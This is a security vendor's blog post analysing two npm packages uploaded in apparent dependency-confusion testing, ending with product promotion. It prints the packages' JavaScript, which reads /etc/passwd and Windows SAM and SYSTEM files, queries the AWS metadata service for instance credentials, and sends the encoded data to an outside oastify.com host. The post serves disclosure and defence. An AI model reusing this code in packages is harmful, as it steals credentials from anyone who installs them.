Two packages of well-known origin were found exfiltrating Windows SAM and SYSTEM files, apparently as part of internal security research rather than a targeted dependency confusion attack.
On June 6th, 2022, the Mend research team used Supply Chain Defender to detect and flag two malicious packages from the same author that contained identical code. We alerted npm and the packages were removed within three hours of publication.
Based on the package names, it seemed likely that the person behind this was trying to exploit dependency confusion in a package belonging to a well-known proprietary enterprise software project. The Mend research team contacted the related software company as part of a responsible disclosure policy, and the company disclosed that the packages in question were uploaded to npm as part of internal security testing.
In conversation with us, the company’s security team noted, “As part of our ongoing testing, we test our resiliency against supply chain attacks. We can confirm that our systems were not susceptible to this dependency confusion attack.” We then jointly brainstormed on how to improve the process of penetration testing. Read on for best practices below.
The first package, @core-pas/cyb-core, was uploaded to npm on June 06, 2022 at 18:35 UTC and was detected and blocked within 15 minutes of publication. The second package, cyb-core, was immediately detected when released at 18:32 UTC and removed by the author four minutes later.
Upon analysis, we found that the packages were intended to collect sensitive information such as Windows SAM and SYSTEM files, as well as UNIX /etc/passwd file.
While running the package in our lab, we observed and analyzed the code.
The index.js file started by collecting three entries.
var etcpasswd = '/etc/passwd'; let base64data1 = ''; try { if (fs.existsSync(etcpasswd)) { var data1 = fs.readFileSync(etcpasswd, 'utf8'); let buff1 = Buffer.from(data1); base64data1 = buff1.toString('base64'); } } catch (error) { console.log(''); }
/etc/passwd file content being collected
/etc/passwd is a file that keeps track of every registered user that has access to a system. It is targeting UNIX-based operating system users.
The /etc/passwd file is a colon-separated file that contains the following information: User name, Encrypted password, User ID number.
The file is built this way:
More information regarding the /etc/passwd file can be found here.
var sam = 'C:\WINDOWS\system32\config\SAM'; let base64data2 = ''; try { if (fs.existsSync(sam)) { var data2 = fs.readFileSync(sam, 'utf8'); let buff2 = Buffer.from(data2); base64data2 = buff2.toString('base64'); } } catch (error) { console.log(''); }
Exfiltration of Windows SAM file
C:\WINDOWS\system32\config\SAM file is a database file in the Microsoft Windows operating system that contains usernames and passwords. The file content is encrypted. The Windows SAM file can be easily decrypted by ‘mimikatz’, a tool that is often used when conducting red team operations against Windows environments.
var systemfile = 'C:\WINDOWS\system32\config\SYSTEM'; let base64data3 = ''; try { if (fs.existsSync(systemfile)) { var data3 = fs.readFileSync(systemfile, 'utf8'); let buff3 = Buffer.from(data3); base64data3 = buff3.toString('base64'); } } catch (error) { console.log(''); }
Exfiltration of Windows SYSTEM file
In each of the above entries, the actor uses basic javascript methods to exfiltrate the information:
Finally, we noted a data exfiltration section that targets AWS instances, as this malicious code could potentially be installed and thus executed on such instances.
Upon package installation the malicious code executes a request to an Amazon Web Services (AWS) metadata service:
const options2 = { hostname: '169.254.169.254', port: 80, path: '/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance/', method: 'GET' };
Left unchecked, the data collected would then be passed on to the external actor via an HTTP request.
You can read more about using AWS metadata identity credentials here (https://rhynorater.github.io/AWS-Metadata-Identity-Credentials). While perhaps not particularly useful when it comes to crafting a malicious attack, they can be used to prove system compromise as part of white-hack security research.
This is not the first time that we have seen and detected attacks that use similar techniques to target AWS instances:
The array ’options’ contains the above stolen information and is being written into the listener res.on(‘data’, …)
var options = { hostname: "fdw8jf59fyrb5rp6hamcl4q7gymoad.oastify.com", port: 443, path: "/", method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded", "Content-Length": postData.length, "Contentetcpasswd": base64data1, "ContentSAM": base64data2, "ContentetSYSTEM": base64data3, "imdsv1": base64data4 }, }; var req = https.request(options, (res) => { res.on("data", (d) => { process.stdout.write(d); }); });
Security research can be confusing to the open source user community. Below are some best practices for safely pentesting without raising unnecessary alarms.
Do:
Do not:
Supply chain attacks evolve and grow more frequent each day. Dependency confusion attack attempts are very common. The easiest way to protect this attack surface is to use an automated supply chain security solution such as Mend Supply Chain Defender. Mend enterprise customers using JFrog Artifactory as a private repository manager can prevent malicious open source software from entering their code base using the Mend Supply Chain Defender Integration with JFrog Artifactory.
Learn how Mend Supply Chain Defender blocks software supply chain attacks.